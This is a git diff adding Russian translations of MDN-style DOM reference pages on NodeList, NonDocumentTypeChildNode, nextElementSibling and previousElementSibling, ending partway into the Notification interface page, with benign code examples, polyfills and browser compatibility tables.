+// Теперь наш фрагмент выглядит так:
+//   &lt;div id="block"&gt;Это — просто текст&lt;/div&gt;
+</pre>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1+</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/core.html#Node3-textContent">textContent</a></li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="http://perfectionkills.com/the-poor-misunderstood-innerText/">Подробнее о различиях <code>innerText</code> и <code>textContent</code></a> (пост в блоге)</li>
+</ul>
diff --git a/files/ru/web/api/nodelist/index.html b/files/ru/web/api/nodelist/index.html
new file mode 100644
index 0000000000..3deb328f99
--- /dev/null
+++ b/files/ru/web/api/nodelist/index.html
@@ -0,0 +1,144 @@
+---
+title: NodeList
+slug: Web/API/NodeList
+tags:
+  - API
+  - DOM
+  - Interface
+  - NodeList
+translation_of: Web/API/NodeList
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Объект <strong>NodeList </strong>— это коллекция узлов, возвращаемая такими методами, как {{domxref("Node.childNodes")}} и {{domxref("document.querySelectorAll")}}.</p>
+
+<div class="note">
+<p>Несмотря на то, что <code>NodeList</code> не является массивом ( <code>Array</code> ), его вполне возможно перебрать при помощи метода forEach(). NodeList также можно конвертировать в <code>Array</code> при помощи {{jsxref("Array.from()")}}</p>
+
+<p>Однако некоторые старые браузеры на данный момент все еще не поддерживают <code>NodeList.forEach()</code> или <code>Array.from()</code>. Данные ограничения можно обойти, используя {{jsxref("Array.forEach()", "Array.prototype.forEach()")}} ( больше информации на этой странице ).</p>
+</div>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt><code>length</code></dt>
+ <dd>Количество элементов в NodeList.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt><code><a href="/en-US/docs/DOM/NodeList.item" title="DOM/NodeList.item">item</a> ( idx )</code></dt>
+ <dd>Возвращает элемент из списка по его индексу или <code>null</code>, если индекс выходит за границы допустимого диапазона. Может быть использован как альтернатива <code>nodeList[idx]</code>, возвращающему <code>undefined</code> при недопустимом <code>idx.</code></dd>
+ <dt><code>entries()</code></dt>
+ <dd>Возвращает {{jsxref("Iteration_protocols","iterator")}}, позволяя перебрать все пары ключ/значение, содержащиеся в обьекте.</dd>
+ <dt><code>forEach()</code></dt>
+ <dd>Выполняет указанную функцию один раз для каждого элемента <code>NodeList</code></dd>
+ <dt><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">keys()</span></font></dt>
+ <dd>Возвращает {{jsxref("Iteration_protocols","iterator")}}, позволяя перебрать все ключи каждой пары ключ/значение, содержащейся в обьекте.</dd>
+ <dt><code>values()</code></dt>
+ <dd>Возвращает {{jsxref("Iteration_protocols","iterator")}}, позволяя перебрать все значения каждой пары ключ/значение, содержащейся в обьекте.</dd>
+ <dt> </dt>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<h3 id="Динамическая_коллекция">Динамическая коллекция</h3>
+
+<p>В определённых случаях <code>NodeList</code> может являться <em>динамической коллекцией</em>. Это означает, что любые изменения в DOM тут же отражаются на коллекции. Примером подобной коллекции является {{domxref("Node.childNodes")}}:</p>
+
+<pre class="brush: js">var parent = document.getElementById('parent');
+var child_nodes = parent.childNodes;
+console.log(child_nodes.length); // пусть равно "2"
+parent.appendChild(document.createElement('div'));
+console.log(child_nodes.length); // выведет "3"
+</pre>
+
+<p>В других случаях <code>NodeList</code> является <em>статической коллекцией</em>. Это означает, что любые изменения в DOM не отражаются на его содержании. К примеру, {{domxref("document.querySelectorAll")}} возвращает статический <code>NodeList</code>.</p>
+
+<p>Данное деление необходимо иметь в виду при выборе способа обхода элементов <code>NodeList</code>, а также сохранении длины списка в переменную.</p>
+
+<h3 id="Отличия_NodeList_от_Array">Отличия <code>NodeList</code> от <code>Array</code></h3>
+
+<p><code>NodeList</code> используется подобно массивам, и потому может возникнуть закономерное желание использовать в нём методы, предоставляемые <code>Array.prototype</code>. Однако <code>NodeList</code> не реализует методы, подобные таковым у <code>Array</code>.</p>
+
+<p>В JavaScript существует механизм наследования, основанный на прототипах, применяемый как к встроенным («native») (таким как <code>Array</code>), так и «host»-объектам, предоставляемым средой исполнения (таким как <code>NodeList</code>) . Экземпляры класса <code>Array</code> получают свои методы (к примеру, <code>forEach </code>и <code>map</code>) из следующей цепочки наследования:</p>
+
+<p><code>myArray --&gt; Array.prototype --&gt; Object.prototype --&gt; null</code> (Цепочка прототипов объекта может быть получена рекурсивным вызовом <span style="font-family: consolas,monaco,andale mono,monospace;">Object.getPrototypeOf</span>)</p>
+
+<p><code>forEach</code>, <code>map</code>, ровно как и все остальные свойства принадлежат <code>Array.prototype</code>.</p>
+
+<p>Цепочка же прототипов <code>NodeList</code> выглядит следующим образом:</p>
+
+<p><code>myNodeList --&gt; NodeList.prototype --&gt; Object.prototype --&gt; null</code></p>
+
+<p><code>NodeList.prototype</code> содержит метод <code>item</code>, но никак не остальные методы <code>Array.prototype</code>, поэтому они и не могут быть использованы с <code>NodeLists</code>.</p>
+
+<h4 id="Обходные_пути">Обходные пути</h4>
+
+<p>Один из способов решения данной проблемы — это копирование методов из <code>Array.prototype<font face="Open Sans, sans-serif"> в </font></code><code>NodeList.prototype</code>. Однако необходимо отдавать себе отчёт в том, что <a href="http://perfectionkills.com/whats-wrong-with-extending-the-dom/">расширение объектов DOM опасно, особенно в старых версиях Internet Explorer (6, 7, 8)</a>.</p>
+
+<pre class="brush: js">var arrayMethods = Object.getOwnPropertyNames( Array.prototype );
+
+arrayMethods.forEach( attachArrayMethodsToNodeList );
+
+function attachArrayMethodsToNodeList(methodName)
+{
+  if(methodName !== "length") {
+    NodeList.prototype[methodName] = Array.prototype[methodName];
+  }
+};
+
+var divs = document.getElementsByTagName( 'div' );
+var firstDiv = divs[ 0 ];
+
+firstDiv.childNodes.forEach(function( divChild ){
+  divChild.parentNode.style.color = '#0F0';
+});</pre>
+
+<p>Другой подход — расширение непосредственно объектов DOM:</p>
+
+<pre class="brush: js">var forEach = Array.prototype.forEach;
+
+var divs = document.getElementsByTagName( 'div' );
+var firstDiv = divs[ 0 ];
+
+forEach.call(firstDiv.childNodes, function( divChild ){
+  divChild.parentNode.style.color = '#0F0';
+});
+</pre>
+
+<div class="note">
+<p>Стоит отметить, что передача объектов среды (такого как <code>NodeList</code>) через <code>this</code> native-методу (такому как <code>forEach</code>) гарантированно работает не во всех браузерах и точно не работает в некоторых.</p>
+</div>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Элементы в <code>NodeList</code>, можно обработать следующим образом:</p>
+
+<pre class="brush: js">for (var i = 0; i &lt; myNodeList.length; ++i) {
+  var item = myNodeList[i];  // Вызов myNodeList.item(i) необязателен в JavaScript
+}
+</pre>
+
+<p>Не следует использовать конструкции <code><a href="/en-US/docs/JavaScript/Reference/Statements/for...in" title="JavaScript/ Reference/Statements/for...in">for...in</a></code> или <code><a href="/en-US/docs/JavaScript/Reference/Statements/for_each...in" title="JavaScript/ Reference/Statements/for each...in">for each...in</a></code> для перечисления элементов списка. Эти способы также перечислят и свойства <code>length</code> и <code>item</code>, что приведёт к логическим ошибкам в случае, если скрипт ожидает  только объекты {{domxref("node")}}. Также <code>for..in</code> может перечислять свойства в любом порядке.</p>
+
+<p>Циклы <code><a href="/en-US/docs/JavaScript/Reference/Statements/for...of" title="/en-US/docs/JavaScript/Reference/Statements/for...of">for...of</a></code> корректно перечисляют все объекты внутри <code>NodeList</code> в браузерах, в которых поддерживается <code>for...of </code>(например, Firefox 13 или выше):</p>
+
+<pre class="brush: js">var list = document.querySelectorAll( 'input[type=checkbox]' );
+for (var item of list) {
+  item.checked = true;
+}</pre>
+
+<h2 id="Конвертирование_NodeList_в_Array">Конвертирование <code>NodeList</code> в <code>Array</code></h2>
+
+<p>Иногда удобнее работать с содержимым <code>NodeList</code>, используя методы <code>Array</code>. Ниже приведена техника преобразования <code>NodeList</code> к <code>Array</code>:</p>
+
+<pre class="brush: js">var div_list = document.querySelectorAll('div'); // returns NodeList
+var div_array = Array.prototype.slice.call(div_list); // преобразует NodeList в Array</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-536297177" title="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-536297177">DOM Level 3</a></li>
+</ul>
diff --git a/files/ru/web/api/nondocumenttypechildnode/index.html b/files/ru/web/api/nondocumenttypechildnode/index.html
new file mode 100644
index 0000000000..20f5c6ea40
--- /dev/null
+++ b/files/ru/web/api/nondocumenttypechildnode/index.html
@@ -0,0 +1,132 @@
+---
+title: NonDocumentTypeChildNode
+slug: Web/API/NonDocumentTypeChildNode
+tags:
+  - API
+  - DOM
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/API/NonDocumentTypeChildNode
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>The <code><strong>NonDocumentTypeChildNode</strong></code> interface contains methods that are particular to {{domxref("Node")}} objects that can have a parent, but not suitable for {{domxref("DocumentType")}}.</p>
+
+<p><code>NonDocumentTypeChildNode</code> is a raw interface and no object of this type can be created; it is implemented by {{domxref("Element")}}, and {{domxref("CharacterData")}} objects.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>There is no inherited property.</em></p>
+
+<dl>
+ <dt>{{domxref("NonDocumentTypeChildNode.previousElementSibling")}} {{readonlyInline}}</dt>
+ <dd>Returns the {{domxref("Element")}} immediately prior to this node in its parent's children list, or <code>null</code> if there is no {{domxref("Element")}} in the list prior to this node.</dd>
+ <dt>{{domxref("NonDocumentTypeChildNode.nextElementSibling")}} {{readonlyInline}}</dt>
+ <dd>Returns the {{domxref("Element")}} immediately following this node in its parent's children list, or <code>null</code> if there is no {{domxref("Element")}} in the list following this node.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>There is neither inherited, nor specific method.</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-childnode', 'NonDocumentTypeChildNode')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Splitted the <code>ElementTraversal</code> interface in {{domxref("ParentNode")}}, {{domxref("ChildNode")}}, and <code>NonDocumentTypeChildNode</code>. The <code>previousElementSibling</code> and <code>nextElementSibling</code> are now defined on the latter.<br>
+    The {{domxref("CharacterData")}} and {{domxref("Element")}} implemented the new interfaces.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Added the initial definition of its properties to the <code>ElementTraversal</code> pure interface and use it on {{domxref("Element")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support (on {{domxref("Element")}})</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9.0</td>
+   <td>10.0</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td>Support (on {{domxref("CharacterData")}})</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("25.0")}} [1]</td>
+   <td>9.0</td>
+   <td>10.0</td>
+   <td>4.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support (on {{domxref("Element")}})</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>10.0</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Support (on {{domxref("CharacterData")}})</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatGeckoDesktop("25.0")}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>10.0</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Firefox 25 also added the two properties defined here on {{domxref("DocumentType")}}, this was removed in Firefox 28 due to compatibility problems, and led to the creation of this new pure interface.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{domxref("ParentNode")}} and {{domxref("ChildNode")}} pure interface.</li>
+ <li>
+  <div class="syntaxbox">Object types implementing this pure interface: {{domxref("CharacterData")}}, and {{domxref("Element")}}.</div>
+ </li>
+</ul>
diff --git a/files/ru/web/api/nondocumenttypechildnode/nondocumenttypechildnode.nextelementsibling/index.html b/files/ru/web/api/nondocumenttypechildnode/nondocumenttypechildnode.nextelementsibling/index.html
new file mode 100644
index 0000000000..84c40445d8
--- /dev/null
+++ b/files/ru/web/api/nondocumenttypechildnode/nondocumenttypechildnode.nextelementsibling/index.html
@@ -0,0 +1,173 @@
+---
+title: NonDocumentTypeChildNode.nextElementSibling
+slug: Web/API/NonDocumentTypeChildNode/NonDocumentTypeChildNode.nextElementSibling
+translation_of: Web/API/NonDocumentTypeChildNode/nextElementSibling
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code><strong>NonDocumentTypeChildNode.nextElementSibling</strong></code> свойство только для чтения, возвращающее последующий элемент перед текущим, или <code>null</code>, если элемент является последним в своём родительском узле.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>nextNode</em> = elementNodeReference.nextElementSibling; </pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: html">&lt;div id="div-01"&gt;Это div-01&lt;/div&gt;
+&lt;div id="div-02"&gt;Это div-02&lt;/div&gt;
+
+&lt;script type="text/javascript"&gt;
+  var el = document.getElementById('div-01').nextElementSibling;
+  console.log('Сосед div-01:');
+  while (el) {
+    console.log(el.nodeName);
+    el = el.nextElementSibling;
+  }
+&lt;/script&gt;
+</pre>
+
+<p>Этот пример выведет в консоль следующее:</p>
+
+<pre>Сосед div-01:
+DIV
+SCRIPT</pre>
+
+<h2 id="Полифилл_для_IE8">Полифилл для IE8</h2>
+
+<p>Данное свойство не пожддерживается до IE9. Используйте следующий полифилл, чтобы обойти этот недостаток:</p>
+
+<pre class="brush: js">// Источник: https://github.com/Alhadis/Snippets/blob/master/js/polyfills/IE8-child-elements.js
+if (!('nextElementSibling' in document.documentElement)) {
+    Object.defineProperty(Element.prototype, 'nextElementSibling', {
+        get: function() {
+            var e = this.nextSibling;
+            while (e &amp;&amp; 1 !== e.nodeType) {
+                e = e.nextSibling;
+            }
+            return e;
+        }
+    });
+}</pre>
+
+<h2 id="Полифилл_для_IE9_и_Safari">Полифилл для IE9+ и Safari</h2>
+
+<pre class="brush: js">// Источник: https://github.com/jserz/js_piece/blob/master/DOM/NonDocumentTypeChildNode/nextElementSibling/nextElementSibling.md
+(function(arr) {
+    arr.forEach(function(item) {
+        if (item.hasOwnProperty('nextElementSibling')) {
+            return;
+        }
+        Object.defineProperty(item, 'nextElementSibling', {
+            configurable: true,
+            enumerable: true,
+            get: function() {
+                var el = this;
+                while (el = el.nextSibling) {
+                    if (el.nodeType === 1) {
+                        return el;
+                    }
+                }
+                return null;
+            },
+            set: undefined
+        });
+    });
+})([Element.prototype, CharacterData.prototype]);</pre>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-nondocumenttypechildnode-nextelementsibling', 'ChildNodenextElementSibling')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Split the <code>ElementTraversal</code> interface in {{domxref("ChildNode")}}, {{domxref("ParentNode")}}, and {{domxref("NonDocumentTypeChildNode")}}. This method is now defined on the former.<br>
+    The {{domxref("Element")}} and {{domxref("CharacterData")}} interfaces implemented the new interface.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#attribute-nextElementSibling', 'ElementTraversal.nextElementSibling')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Added its initial definition to the <code>ElementTraversal</code> pure interface and use it on {{domxref("Element")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Браузеры</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка ({{domxref("Element")}})</td>
+   <td>4</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>9.8</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>Поддержка {{domxref("CharacterData")}}</td>
+   <td>29.0</td>
+   <td>{{CompatGeckoDesktop("25")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Браузеры</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка ( {{domxref("Element")}})</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9.8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Поддержка {{domxref("CharacterData")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Firefox 25 также добавил это свойство в {{domxref("DocumentType")}}, но оно было удалено в Firefox 28, из-за проблем совместимости.</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>Чистый интерфейс {{domxref("ChildNode")}}.</li>
+ <li>Типы объектов, реализующих этот чистый интерфейс: {{domxref("CharacterData")}}, {{domxref("Element")}}, и {{domxref("DocumentType")}}. </li>
+</ul>
diff --git a/files/ru/web/api/nondocumenttypechildnode/previouselementsibling/index.html b/files/ru/web/api/nondocumenttypechildnode/previouselementsibling/index.html
new file mode 100644
index 0000000000..2cc659ef51
--- /dev/null
+++ b/files/ru/web/api/nondocumenttypechildnode/previouselementsibling/index.html
@@ -0,0 +1,185 @@
+---
+title: NonDocumentTypeChildNode.previousElementSibling
+slug: Web/API/NonDocumentTypeChildNode/previousElementSibling
+translation_of: Web/API/NonDocumentTypeChildNode/previousElementSibling
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>Свойство <code><strong>NonDocumentTypeChildNode.previousElementSibling</strong></code> только для чтения возвращает  {{domxref("Element")}} элемент стоящий перед применяемым, из списка дочерних элементов родителя или возвращает null, если таковых не имеется.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>prevNode</var> = elementNodeReference.previousElementSibling;
+</pre>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<pre class="brush: html">&lt;div id="div-01"&gt;Here is div-01&lt;/div&gt;
+&lt;div id="div-02"&gt;Here is div-02&lt;/div&gt;
+&lt;li&gt;This is a list item&lt;/li&gt;
+&lt;li&gt;This is another list item&lt;/li&gt;
+&lt;div id="div-03"&gt;Here is div-03&lt;/div&gt;
+
+&lt;script&gt;
+  var el = document.getElementById('div-03').previousElementSibling;
+  document.write('&lt;p&gt;Siblings of div-03&lt;/p&gt;&lt;ol&gt;');
+  while (el) {
+    document.write('&lt;li&gt;' + el.nodeName + '&lt;/li&gt;');
+    el = el.previousElementSibling;
+  }
+  document.write('&lt;/ol&gt;');
+&lt;/script&gt;
+</pre>
+
+<p>Этот пример выводит следующие элементы на страницу при загрузке:</p>
+
+<pre>Соседи div-03
+
+   1. LI
+   2. LI
+   3. DIV
+   4. DIV
+</pre>
+
+<h2 id="Полифилл_для_Internet_Explorer_8">Полифилл для Internet Explorer 8</h2>
+
+<p>Это свойство поддерживается начиная с версии IE9, поэтому следующий фрагмент поддерживается, и может использоваться для IE8:</p>
+
+<pre class="brush: js">// Ресурс: https://github.com/Alhadis/Snippets/blob/master/js/polyfills/IE8-child-elements.js
+if(!("previousElementSibling" in document.documentElement)){
+    Object.defineProperty(Element.prototype, "previousElementSibling", {
+        get: function(){
+            var e = this.previousSibling;
+            while(e &amp;&amp; 1 !== e.nodeType)
+                e = e.previousSibling;
+            return e;
+        }
+    });
+}</pre>
+
+<h2 id="Specification" name="Specification">Полифилл для  Internet Explorer 9+ и Safari</h2>
+
+<pre class="brush: js">// Ресурс: https://github.com/jserz/js_piece/blob/master/DOM/NonDocumentTypeChildNode/previousElementSibling/previousElementSibling.md
+(function (arr) {
+  arr.forEach(function (item) {
+    if (item.hasOwnProperty('previousElementSibling')) {
+      return;
+    }
+    Object.defineProperty(item, 'previousElementSibling', {
+      configurable: true,
+      enumerable: true,
+      get: function () {
+        var el = this;
+        while (el = el.previousSibling) {
+          if (el.nodeType === 1) {
+            return el;
+          }
+        }
+        return null;
+      },
+      set: undefined
+    });
+  });
+})([Element.prototype, CharacterData.prototype]);</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-nondocumenttypechildnode-previouselementsibling', 'NonDocumentTypeChildNode.previousElementSibling')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Splitted the <code>ElementTraversal</code> interface in {{domxref("ChildNode")}}, {{domxref("ParentNode")}}, and {{domxref("NonDocumentTypeChildNode")}}. This method is now defined on the former.<br>
+    The {{domxref("Element")}} and {{domxref("CharacterData")}} interfaces implemented the new interface.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#attribute-previousElementSibling', 'ElementTraversal.previousElementSibling')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Added its initial definition to the <code>ElementTraversal</code> pure interface and use it on {{domxref("Element")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Функционал</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support (on {{domxref("Element")}})</td>
+   <td>4</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>9.8</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>Support on {{domxref("CharacterData")}}</td>
+   <td>29.0</td>
+   <td>{{CompatGeckoDesktop("25")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Функционал</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support (on {{domxref("Element")}})</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9.8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Support on {{domxref("CharacterData")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Firefox 25 так же добавлено это свойство {{domxref("DocumentType")}}, но было удалено в Firefox 28 из-за проблем с совместимостью.</p>
+
+<h2 id="Смотрите_так_же">Смотрите так же</h2>
+
+<ul>
+ <li> {{domxref("NonDocumentTypeChildNode")}} чистый интерфейс.</li>
+ <li>
+  <div class="syntaxbox">Типы объектов реализующие чистый интерфейс: {{domxref("CharacterData")}}, и {{domxref("Element")}}.</div>
+ </li>
+</ul>
diff --git a/files/ru/web/api/notification/index.html b/files/ru/web/api/notification/index.html
new file mode 100644
index 0000000000..ceeee1905f
--- /dev/null
+++ b/files/ru/web/api/notification/index.html
@@ -0,0 +1,378 @@
+---
+title: Уведомление
+slug: Web/API/notification
+translation_of: Web/API/Notification
+---
+<p> </p>
+
+<p>{{APIRef("Web Notifications")}}</p>
+
+<p>Интерфейс <code>Notification</code> из <a href="/en-US/docs/Web/API/Notifications_API">Notifications API</a> используется для настройки и отображения уведомлений на рабочий стол пользователя.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("Notification.Notification", "Notification()")}}</dt>
+ <dd>Создает новый экземпляр объекта <code>Notification</code>.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<h3 id="Собственные_свойства">Собственные свойства</h3>
+
+<p>Следующие свойства доступны только для самого объекта <code>Notification</code>.</p>
+
+<dl>
+ <dt>{{domxref("Notification.permission")}} {{readonlyinline}}</dt>
+ <dd>Строка, показывающая текущие права доступа для отображения уведомлений. Возможные значения:</dd>
+</dl>
+
+<ul>
+ <li><code>denied</code> - Пользователь отказался от отображения уведомлений.</li>
+ <li><code>granted</code> - Пользователь дал согласие на отображение уведомлений.</li>
+ <li><code>default</code> - Выбор пользователя неизвестен, и поэтому браузер будет действовать так, как если бы значение было <code>denied</code></li>
+</ul>
+
+<h3 id="Свойства_экземпляра">Свойства экземпляра</h3>
+
+<p>Следующие свойства доступны только для экземпляров объекта <code>Notification</code>.</p>
+
+<dl>
+ <dt>{{domxref("Notification.actions")}} {{readonlyinline}}</dt>
+ <dd>Массив действий уведомления, указывается в опциях как параметр конструктора.</dd>
+ <dt>{{domxref("Notification.badge")}} {{readonlyinline}}</dt>
+ <dd>URL изображения, используемого для отображения уведомления в случае, если недостаточно места для самого уведомления.</dd>
+ <dt>{{domxref("Notification.body")}} {{readonlyinline}}</dt>
+ <dd>Основное тело (текст) уведомления, указывается в опциях как параметр конструктора.</dd>
+ <dt>{{domxref("Notification.data")}} {{readonlyinline}}</dt>
+ <dd>Возвращает структурированную копию содержания уведомления.</dd>
+ <dt>{{domxref("Notification.dir")}} {{readonlyinline}}</dt>
+ <dd>Направление текста уведомления, указывается в опциях как параметр конструктора.</dd>
+ <dt>{{domxref("Notification.lang")}} {{readonlyinline}}</dt>
+ <dd>Код языка уведомления, указывается в опциях как параметр конструктора.</dd>
+ <dt>{{domxref("Notification.tag")}} {{readonlyinline}}</dt>
+ <dd>Инденцификатор (ID) уведомления, если есть, указывается в опциях как параметр конструктора.</dd>
+ <dt>{{domxref("Notification.icon")}} {{readonlyinline}}</dt>
